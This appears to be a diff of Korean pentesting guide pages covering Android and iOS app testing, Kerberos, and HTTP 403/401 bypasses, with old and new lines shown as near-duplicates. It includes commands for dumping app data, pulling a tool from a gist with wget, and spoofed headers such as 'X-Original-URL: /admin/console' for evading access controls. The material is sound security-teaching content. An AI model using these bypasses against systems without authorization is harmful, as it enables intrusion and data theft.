Android에서 Keystore는 민감한 데이터를 저장하기에 가장 좋은 장소입니다. 그러나 충분한 권한이 있으면 여전히 **액세스할 수 있습니다**. 애플리케이션이 여기에서 **명확한 텍스트로 민감한 데이터를 저장하는 경향이 있기 때문에** pentests는 이를 확인해야 하며, 루트 사용자 또는 장치에 물리적으로 접근할 수 있는 사람이 이 데이터를 훔칠 수 있습니다.
앱이 keystore에 데이터를 저장하더라도, 데이터는 암호화되어야 합니다.
@ -474,7 +474,7 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f <app
스냅샷은 일반적으로 다음 위치에 저장됩니다: **`/data/system_ce/0/snapshots`**
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창의 내용이 안전하게 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
Android는 **FLAG_SECURE** 레이아웃 매개변수를 설정하여 스크린샷 캡처를 **방지하는 방법**을 제공합니다. 이 플래그를 사용하면 창 내용이 안전한 것으로 처리되어 스크린샷에 나타나거나 비안전한 디스플레이에서 볼 수 없게 됩니다.
```bash
getWindow().setFlags(LayoutParams.FLAG_SECURE, LayoutParams.FLAG_SECURE);
```
@ -523,25 +523,25 @@ docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
MobSF는 **Android**(apk)**, IOS**(ipa) **및 Windows**(apx) 애플리케이션을 분석할 수 있습니다 (_Windows 애플리케이션은 Windows 호스트에 설치된 MobSF에서 분석해야 합니다_).\
또한, **Android** 또는 **IOS** 앱의 소스 코드로 **ZIP** 파일을 생성하면 (애플리케이션의 루트 폴더로 이동하여 모든 것을 선택하고 ZIP 파일을 생성), 그것도 분석할 수 있습니다.
MobSF는 또한 **diff/비교** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
MobSF는 **diff/Compare** 분석을 허용하고 **VirusTotal**과 통합할 수 있습니다 (API 키를 _MobSF/settings.py_에 설정하고 활성화해야 합니다: `VT_ENABLED = TRUE` `VT_API_KEY = <Your API key>` `VT_UPLOAD = TRUE`). `VT_UPLOAD``False`로 설정하면 **해시**가 파일 대신 **업로드**됩니다.
### MobSF를 이용한 보조 동적 분석
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** MobSF를 시작해야 합니다._\
**MobSF**는 **Android**에서 **동적 분석**에 매우 유용할 수 있지만, 이 경우 호스트에 MobSF와 **genymotion**을 설치해야 합니다 (VM이나 Docker는 작동하지 않습니다). _참고: **먼저 genymotion에서 VM을 시작한 후** **MobSF를 시작해야 합니다.**_\
**MobSF 동적 분석기**는 다음을 수행할 수 있습니다:
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러 모든 내보낸 활동의 스크린샷을 얻어야 합니다.
- **애플리케이션 데이터 덤프** (URL, 로그, 클립보드, 사용자가 만든 스크린샷, "**Exported Activity Tester**"가 만든 스크린샷, 이메일, SQLite 데이터베이스, XML 파일 및 기타 생성된 파일). 이 모든 것은 자동으로 수행되며, 스크린샷은 사용자가 원하는 시점에 눌러야 하거나 "**Exported Activity Tester**"를 눌러야 모든 내보낸 활동의 스크린샷을 얻을 수 있습니다.
- **HTTPS 트래픽 캡처**
- **Frida**를 사용하여 **런타임** **정보**를 얻기
Android **버전 > 5**에서는 **Frida**를 **자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 설정합니다. 테스트된 애플리케이션의 트래픽만 캡처합니다.
안드로이드 **버전 > 5**에서는 **Frida를 자동으로 시작**하고 **트래픽 캡처**를 위해 전역 **프록시** 설정을 합니다. 테스트된 애플리케이션에서만 트래픽을 캡처합니다.
**Frida**
기본적으로 SSL 핀닝, **루트 탐지** 및 **디버거 탐지**를 우회하고 **흥미로운 API**를 모니터링하기 위해 일부 Frida 스크립트를 사용합니다.\
MobSF는 또한 **내보낸 활동을 호출**하고, 그들의 **스크린샷을 캡처**하여 보고서에 **저장**할 수 있습니다.
MobSF는 또한 **내보낸 활동을 호출**하고, 그 스크린샷을 캡처하여 **보고서**에 저장할 수 있습니다.
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
동적 테스트를 **시작**하려면 초록색 버튼: "**Start Instrumentation**"을 누릅니다. "**Frida Live Logs**"를 눌러 Frida 스크립트에서 생성된 로그를 보고, "**Live API Monitor**"를 눌러 후킹된 메서드에 대한 모든 호출, 전달된 인수 및 반환 값을 확인합니다 (이것은 "Start Instrumentation"을 누른 후에 나타납니다).\
MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (Frida 스크립트의 결과를 MobSF에 보내려면 `send()` 함수를 사용하십시오). 또한 로드할 수 있는 **여러 사전 작성된 스크립트**가 있습니다 (더 추가할 수 있습니다 `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), 그냥 **선택하고**, "**Load**"를 누르고 "**Start Instrumentation**"을 누릅니다 (해당 스크립트의 로그는 "**Frida Live Logs**"에서 볼 수 있습니다).
![](<../../images/image (419).png>)
@ -553,13 +553,13 @@ MobSF는 또한 자신의 **Frida 스크립트**를 로드할 수 있습니다 (
- **문자열 비교 캡처**: 매우 유용할 수 있습니다. **비교되는 2개의 문자열**과 결과가 True인지 False인지 보여줍니다.
- **클래스 메서드 나열**: 클래스 이름(예: "java.io.File")을 입력하면 클래스의 모든 메서드를 출력합니다.
- **클래스 패턴 검색**: 패턴으로 클래스를 검색합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
- **클래스 메서드 추적**: **전체 클래스**를 **추적**합니다 (클래스의 모든 메서드의 입력 및 출력을 확인합니다). 기본적으로 MobSF는 여러 흥미로운 Android API 메서드를 추적합니다.
사용하려는 보조 모듈을 선택한 후 "**Start Instrumentation**"을 누르면 "**Frida Live Logs**"에서 모든 출력을 볼 수 있습니다.
**Shell**
Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 제공하는 셸을 제공합니다. 몇 가지 흥미로운 명령:
Mobsf는 또한 동적 분석 페이지 하단에 몇 가지 **adb** 명령, **MobSF 명령** 및 일반 **shell** **명령**을 포함한 셸을 제공합니다. 몇 가지 흥미로운 명령:
```bash
help
shell ls
@ -571,9 +571,9 @@ receivers
**HTTP 도구**
HTTP 트래픽이 캡처되면 "**HTTP(S) Traffic**" 하단에서 캡처된 트래픽의 보기 또는 "**Start HTTPTools**" 녹색 버튼에서 더 나은 보기를 볼 수 있습니다. 두 번째 옵션에서 **캡처된 요청**을 **프록시**(예: Burp 또는 Owasp ZAP)로 **전송**할 수 있습니다.\
이를 위해, _Burp 전원 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼 클릭 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
이를 위해, _Burp 켜기 -->_ _Intercept 끄기 --> MobSB HTTPTools에서 요청 선택_ --> "**Send to Fuzzer**" 버튼을 누르세요 --> _프록시 주소 선택_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾을 수 있습니다.
MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP 요청을 퍼징**하고 취약점을 찾아보세요.
> [!NOTE]
> MobSF로 동적 분석을 수행한 후 프록시 설정이 잘못 구성될 수 있으며 GUI에서 이를 수정할 수 없습니다. 다음을 수행하여 프록시 설정을 수정할 수 있습니다:
@ -582,10 +582,10 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
> adb shell settings put global http_proxy :0
> ```
### Inspeckage를 한 보조 동적 분석
### Inspeckage를 이용한 보조 동적 분석
[**Inspeckage**](https://github.com/ac-pm/Inspeckage)에서 도구를 받을 수 있습니다.\
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지**기 위해 몇 가지 **Hooks**를 사용합니다.
이 도구는 **동적 분석**을 수행하는 동안 **애플리케이션에서 무슨 일이 일어나고 있는지**리기 위해 몇 가지 **후크**를 사용합니다.
### [Yaazhini](https://www.vegabird.com/yaazhini/)
@ -595,7 +595,7 @@ MobSF로 동적 분석을 마친 후 "**Start Web API Fuzzer**"를 눌러 **HTTP
### [Qark](https://github.com/linkedin/qark)
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 "Proof-of-Concept" 배포 가능한 APK 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
이 도구는 **소스 코드** 또는 **패키지된 APK**에서 여러 **보안 관련 Android 애플리케이션 취약점**을 찾기 위해 설계되었습니다. 이 도구는 또한 발견된 일부 취약점을 악용하기 위한 **"Proof-of-Concept" 배포 가능한 APK** 및 **ADB 명령**을 생성할 수 있습니다(노출된 활동, 인텐트, 탭재킹 등...). Drozer와 마찬가지로 테스트 장치를 루팅할 필요가 없습니다.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -609,7 +609,7 @@ qark --java path/to/specific/java/file.java
- 일반적인 취약점 및 동작을 위해 AndroidManifest.xml 분석
- 일반적인 취약점 및 동작에 대한 정적 소스 코드 분석
- 장치 정보
- 기타 등등
- 기타 사항
```bash
reverse-apk relative/path/to/APP.apk
```
@ -617,7 +617,7 @@ reverse-apk relative/path/to/APP.apk
SUPER는 Windows, MacOS X 및 Linux에서 사용할 수 있는 명령줄 애플리케이션으로, _.apk_ 파일을 분석하여 취약점을 찾습니다. 이는 APK를 압축 해제하고 일련의 규칙을 적용하여 이러한 취약점을 감지합니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 필요에 따라 분석할 규칙을 만들 수 있습니다.
모든 규칙은 `rules.json` 파일에 중심을 두고 있으며, 각 회사나 테스터는 자신이 필요한 것을 분석하기 위해 자체 규칙을 만들 수 있습니다.
최신 바이너리는 [download page](https://superanalyzer.rocks/download.html)에서 다운로드하세요.
```
@ -645,9 +645,9 @@ androbugs.exe -f [APK file]
```
### [Androwarn](https://github.com/maaaaz/androwarn)
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
**Androwarn**는 Android 애플리케이션에서 발생할 수 있는 악의적인 행동을 지하고 사용자에게 경고하는 것을 주요 목표로 하는 도구입니다.
지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
지는 애플리케이션의 Dalvik 바이트코드에 대한 **정적 분석**을 통해 수행되며, 이는 **Smali**로 표현됩니다. [`androguard`](https://github.com/androguard/androguard) 라이브러리를 사용합니다.
이 도구는 다음과 같은 **"나쁜" 애플리케이션의 일반적인 행동**을 찾습니다: 전화 식별자 유출, 오디오/비디오 흐름 가로채기, PIM 데이터 수정, 임의 코드 실행...
```
@ -670,7 +670,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### Koodous
악성 소프트웨어를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
악성코드를 탐지하는 데 유용합니다: [https://koodous.com/](https://koodous.com)
## 코드 난독화/디오브스큐레이션
@ -678,7 +678,7 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
### [ProGuard](<https://en.wikipedia.org/wiki/ProGuard_(software)>)
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공 라이선스 버전 2에 따라 배포됩니다.
[위키백과](<https://en.wikipedia.org/wiki/ProGuard_(software)>): **ProGuard**는 Java 코드를 축소, 최적화 및 난독화하는 오픈 소스 명령줄 도구입니다. 바이트코드를 최적화하고 사용되지 않는 명령어를 감지 및 제거할 수 있습니다. ProGuard는 무료 소프트웨어이며 GNU 일반 공 라이선스 버전 2에 따라 배포됩니다.
ProGuard는 Android SDK의 일부로 배포되며 애플리케이션을 릴리스 모드로 빌드할 때 실행됩니다.
@ -696,7 +696,7 @@ APK를 디오브스큐레이션하는 단계별 가이드를 [https://blog.lexfo
### [DeGuard](http://apk-deguard.com)
**DeGuard는 Android 난독화 도구가 수행한 난독화 프로세스를 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
**DeGuard는 Android 난독화 도구가 수행한 난독화 과정을 역전시킵니다. 이를 통해 코드 검사 및 라이브러리 예측을 포함한 수많은 보안 분석이 가능합니다.**
난독화된 APK를 그들의 플랫폼에 업로드할 수 있습니다.
@ -720,7 +720,7 @@ APKiD는 **APK가 어떻게 만들어졌는지**에 대한 정보를 제공합
### [Androl4b](https://github.com/sh4hin/Androl4b)
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성 소프트웨어 분석을 위한 최신 프레임워크, 튜토리얼 및 다양한 보안 전문가와 연구자들의 실험실을 포함합니다.
AndroL4b는 우분투-메이트 기반의 Android 보안 가상 머신으로, 리버스 엔지니어링 및 악성코드 분석을 위한 다양한 보안 전문가와 연구자들의 최신 프레임워크, 튜토리얼 및 실습을 포함합니다.
## References

View File

@ -16,7 +16,7 @@ Catalina 이전 버전의 macOS에서는 iTunes가 UDID 발견을 용이하게
```bash
$ ioreg -p IOUSB -l | grep "USB Serial"
```
- **macOS (및 Linux)에서 `ideviceinstaller` 사용하기:**
- **`ideviceinstaller`를 macOS (및 Linux)에서 사용하기:**
```bash
$ brew install ideviceinstaller
$ idevice_id -l
@ -31,9 +31,9 @@ $ instruments -s devices
```
### **디바이스 셸 접근**
**SSH 접근**은 탈옥 후 **OpenSSH 패키지**를 설치하여 활성화되며, `ssh root@<device_ip_address>`를 통해 연결할 수 있습니다. 디바이스를 안전하게 유지하기 위해 `root``mobile` 사용자에 대한 기본 비밀번호(`alpine`)를 변경하는 것이 중요합니다.
**SSH 접근**은 **OpenSSH 패키지**를 탈옥 후 설치하여 활성화되며, `ssh root@<device_ip_address>`를 통해 연결할 수 있습니다. 디바이스를 안전하게 보호하기 위해 `root``mobile` 사용자에 대한 기본 비밀번호(`alpine`)를 변경하는 것이 중요합니다.
**USB를 통한 SSH**는 Wi-Fi가 없을 때 필요하며, `iproxy`를 사용하여 SSH 연결을 위한 디바이스 포트를 매핑합니다. 이 설정은 다음 명령어를 실행하여 USB를 통해 SSH 접근을 가능하게 합니다:
**USB를 통한 SSH**는 Wi-Fi가 없는 경우 필요하며, `iproxy`를 사용하여 SSH 연결을 위한 디바이스 포트를 매핑합니다. 이 설정은 다음 실행하여 USB를 통해 SSH 접근을 가능하게 합니다:
```bash
$ iproxy 2222 22
$ ssh -p 2222 root@localhost
@ -48,7 +48,7 @@ $ ssh -p 2222 root@localhost
### **앱 데이터 파일 전송**
**SSH 및 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 데이터 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 데이터 디렉토리를 .tgz 파일로 아카이브한 후 장치에서 가져옵니다:
**SSH 및 SCP를 통한 아카이빙 및 검색:** `tar`를 사용하여 애플리케이션의 Data 디렉토리를 아카이브한 다음 `scp`를 사용하여 전송하는 것은 간단합니다. 아래 명령은 Data 디렉토리를 .tgz 파일로 아카이브한 후 장치에서 가져옵니다:
```bash
tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
exit
@ -60,7 +60,7 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
### **파일 관리를 위한 Objection 사용**
**Objection을 통한 인터랙티브 셸:** Objection을 실행하면 앱의 Bundle 디렉토리에 접근할 수 있습니다. 여기에서 앱의 Documents 디렉토리로 이동하여 파일을 관리하고, iOS 장치로부터 파일을 다운로드하고 업로드할 수 있습니다.
**Objection을 통한 인터랙티브 셸:** objection을 실행하면 앱의 Bundle 디렉토리에 접근할 수 있습니다. 여기에서 앱의 Documents 디렉토리로 이동하여 파일을 관리하고, iOS 장치로부터 파일을 다운로드하고 업로드할 수 있습니다.
```bash
objection --gadget com.apple.mobilesafari explorer
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
@ -68,9 +68,9 @@ file download <filename>
```
## **앱 획득 및 추출**
### **IPA 파일 획득하기**
### **IPA 파일 획득**
**OTA 배포 링크:** OTA를 통해 테스트용으로 배포된 앱은 ITMS 서비스 자산 다운로드 도구를 사용하여 다운로드할 수 있으며, 이 도구는 npm을 통해 설치되고 IPA 파일을 로컬에 저장하는 데 사용됩니다.
**OTA 배포 링크:** 테스트를 위해 OTA를 통해 배포된 앱은 ITMS 서비스 자산 다운로드 도구를 사용하여 다운로드할 수 있으며, 이 도구는 npm을 통해 설치되고 IPA 파일을 로컬에 저장하는 데 사용됩니다.
```bash
npm install -g itms-services
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
@ -92,7 +92,7 @@ otool -Vh Hello_World
```
**암호화된 섹션 식별 및 메모리 덤프:**
`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, gdb를 사용하여 탈옥된 장치에서 메모리를 덤프합니다.
`otool`을 사용하여 암호화된 섹션의 시작 및 끝 주소를 확인하고, 탈옥된 장치에서 gdb를 사용하여 메모리를 덤프합니다.
```bash
otool -l Original_App | grep -A 4 LC_ENCRYPTION_INFO
dump memory dump.bin 0x8000 0x10a4000
@ -123,7 +123,7 @@ $ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
#### **flexdecrypt**
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)는 설치된 애플리케이션에서 IPA 파일을 추출할 수 있게 해줍니다. 장치에서 **flexdecrypt**를 설치하는 명령은 `.deb` 패키지를 다운로드하고 설치하는 것입니다. **flexdump**는 아래 명령에서 보여지는 것처럼 앱을 나열하고 덤프하는 데 사용할 수 있습니다:
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 도구와 그 래퍼 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)는 설치된 애플리케이션에서 IPA 파일을 추출할 수 있게 해줍니다. 장치에서 **flexdecrypt**의 설치 명령은 `.deb` 패키지를 다운로드하고 설치하는 것입니다. **flexdump**는 아래 명령에서 보여지는 것처럼 앱을 나열하고 덤프하는 데 사용할 수 있습니다:
```bash
apt install zip unzip
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
@ -146,13 +146,13 @@ bagbak --raw Chrome
#### **Sideloading 도구**
- **Cydia Impactor**: iOS에서 IPA 파일을 서명하고 설치하는 도구이며, Android에서 APK 파일을 설치하는 데도 사용됩니다. 가이드와 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다.
- **Cydia Impactor**: iOS에서 IPA 파일과 Android에서 APK 파일을 서명하고 설치하는 도구입니다. 가이드와 문제 해결 방법은 [yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)에서 확인할 수 있습니다.
- **libimobiledevice**: iOS 장치와 통신하기 위한 Linux 및 macOS용 라이브러리입니다. USB를 통해 앱을 설치하기 위한 ideviceinstaller의 설치 명령 및 사용 예제가 제공됩니다.
- **ipainstaller**: 이 명령줄 도구는 iOS 장치에 직접 앱을 설치할 수 있게 해줍니다.
- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA 파일을 압축 해제하고 직접 앱을 실행하기 위해 `-m` 플래그를 사용하는 것이 과정의 일부입니다.
- **ios-deploy**: macOS 사용자를 위해 ios-deploy는 명령줄에서 iOS 앱을 설치합니다. IPA 파일을 압축 해제하고 `-m` 플래그를 사용하여 직접 앱을 실행하는 것이 과정의 일부입니다.
- **Xcode**: Xcode를 사용하여 **Window/Devices and Simulators**로 이동하고 앱을 **Installed Apps**에 추가하여 앱을 설치합니다.
@ -160,11 +160,11 @@ bagbak --raw Chrome
iPhone 또는 iPod touch 장치에 iPad 전용 애플리케이션을 설치하려면 **Info.plist** 파일의 **UIDeviceFamily** 값을 **1**로 변경해야 합니다. 그러나 이 수정은 서명 검증 체크로 인해 IPA 파일을 다시 서명해야 합니다.
**참고**: 이 방법은 애플리케이션이 최신 iPad 모델에만 해당되는 기능을 요구할 경우, 구형 iPhone 또는 iPod touch를 사용할 때 실패할 수 있습니다.
**참고**: 이 방법은 애플리케이션이 구형 iPhone 또는 iPod touch를 사용할 때 최신 iPad 모델에만 해당되는 기능을 요구하는 경우 실패할 수 있습니다.
## References
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
- [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/index.html)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
- [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)

View File

@ -6,7 +6,7 @@
**Kerberos**는 사용자의 리소스 접근을 직접 관리하지 않고 인증하는 원칙에 따라 작동합니다. 이는 프로토콜의 보안 프레임워크에서의 역할을 강조하는 중요한 구분입니다.
**Active Directory**와 같은 환경에서 **Kerberos**는 사용자의 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 사용자가 네트워크 리소스와 상호작용하기 전에 각 사용자의 신원이 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
**Active Directory**와 같은 환경에서 **Kerberos**는 비밀 비밀번호를 검증하여 사용자의 신원을 확립하는 데 중요한 역할을 합니다. 이 과정은 각 사용자의 신원이 네트워크 리소스와 상호작용하기 전에 확인되도록 보장합니다. 그러나 **Kerberos**는 특정 리소스나 서비스에 대한 사용자의 권한을 평가하거나 집행하는 기능을 확장하지 않습니다. 대신, 사용자를 인증하는 안전한 방법을 제공하며, 이는 보안 프로세스의 중요한 첫 단계입니다.
**Kerberos**에 의한 인증 후, 리소스 접근에 대한 의사 결정 과정은 네트워크 내 개별 서비스에 위임됩니다. 이러한 서비스는 **Kerberos**가 제공하는 사용자 권한에 대한 정보를 바탕으로 인증된 사용자의 권리와 권한을 평가할 책임이 있습니다. 이 설계는 사용자의 신원을 인증하는 것과 접근 권한을 관리하는 것 간의 관심사를 분리하여 분산 네트워크에서 리소스 관리를 보다 유연하고 안전하게 접근할 수 있도록 합니다.
@ -15,7 +15,7 @@
PORT STATE SERVICE
88/tcp open kerberos-sec
```
### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/)**에 대한 게시물을 읽어야 합니다.**
### **Kerberos를 악용하는 방법을 배우려면** [**Active Directory**](../../windows-hardening/active-directory-methodology/index.html)**에 대한 게시물을 읽어야 합니다.**
## 더 알아보기
@ -25,7 +25,7 @@ PORT STATE SERVICE
### MS14-068
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 높은 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
MS14-068 결함은 공격자가 합법적인 사용자의 Kerberos 로그인 토큰을 조작하여 도메인 관리자와 같은 상승된 권한을 잘못 주장할 수 있게 합니다. 이 위조된 주장은 도메인 컨트롤러에 의해 잘못 검증되어 Active Directory 포리스트 전반에 걸쳐 네트워크 리소스에 대한 무단 접근을 가능하게 합니다.
{{#ref}}
https://adsecurity.org/?p=541

View File

@ -1,18 +1,18 @@
# 403 & 401 우회
# 403 & 401 Bypasses
{{#include ../../banners/hacktricks-training.md}}
## HTTP 동사/메서드 퍼징
## HTTP Verbs/Methods Fuzzing
파일에 접근하기 위해 **다양한 동사**를 사용해 보세요: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
- 응답 헤더를 확인하세요. 유용한 정보가 제공될 수 있습니다. 예를 들어, **HEAD**에 대한 **200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다.
- 응답 헤더를 확인하세요. 유용한 정보가 있을 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 하지만 그 정보를 유출할 방법을 찾아야 합니다.
- `X-HTTP-Method-Override: PUT`과 같은 HTTP 헤더를 사용하면 사용된 동사를 덮어쓸 수 있습니다.
- **`TRACE`** 동사를 사용하고, 운이 좋다면 응답에서 유용할 수 있는 **중간 프록시가 추가한 헤더**를 볼 수 있습니다.
## HTTP 헤더 퍼징
## HTTP Headers Fuzzing
- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 예](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동했습니다](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
- [**다른 사용자 에이전트 사용**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)으로 리소스에 접근해 보세요.
- **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 브루트포스(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
@ -30,21 +30,21 @@
- `X-ProxyUser-Ip: 127.0.0.1`
- `Host: localhost`
**경로가 보호**되어 있다면, 다음 헤더를 사용하여 경로 보호를 우회해 보세요:
**경로가 보호되어** 있다면, 다음 헤더를 사용하여 경로 보호를 우회해 보세요:
- `X-Original-URL: /admin/console`
- `X-Rewrite-URL: /admin/console`
- 페이지가 **프록시 뒤에** 있다면, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP 요청 스머글링**](../../pentesting-web/http-request-smuggling/) **또는** [**hop-by-hop 헤더**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.**
- 페이지가 **프록시 뒤에** 있다면, 아마도 프록시가 개인 정보 접근을 방해하고 있을 수 있습니다. [**HTTP Request Smuggling**](../../pentesting-web/http-request-smuggling/index.html) **또는** [**hop-by-hop headers**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.**
- [**특수 HTTP 헤더**](special-http-headers.md)를 퍼징하여 다양한 응답을 찾아보세요.
- **HTTP 메서드**를 퍼징하는 동안 **특수 HTTP 헤더**를 퍼징하세요.
- **HTTP 메서드를 퍼징**하는 동안 **특수 HTTP 헤더를 퍼징**하세요.
- **Host 헤더를 제거**하면 보호를 우회할 수 있을지도 모릅니다.
## 경로 **퍼징**
## Path **Fuzzing**
만약 _/path_가 차단되었다면:
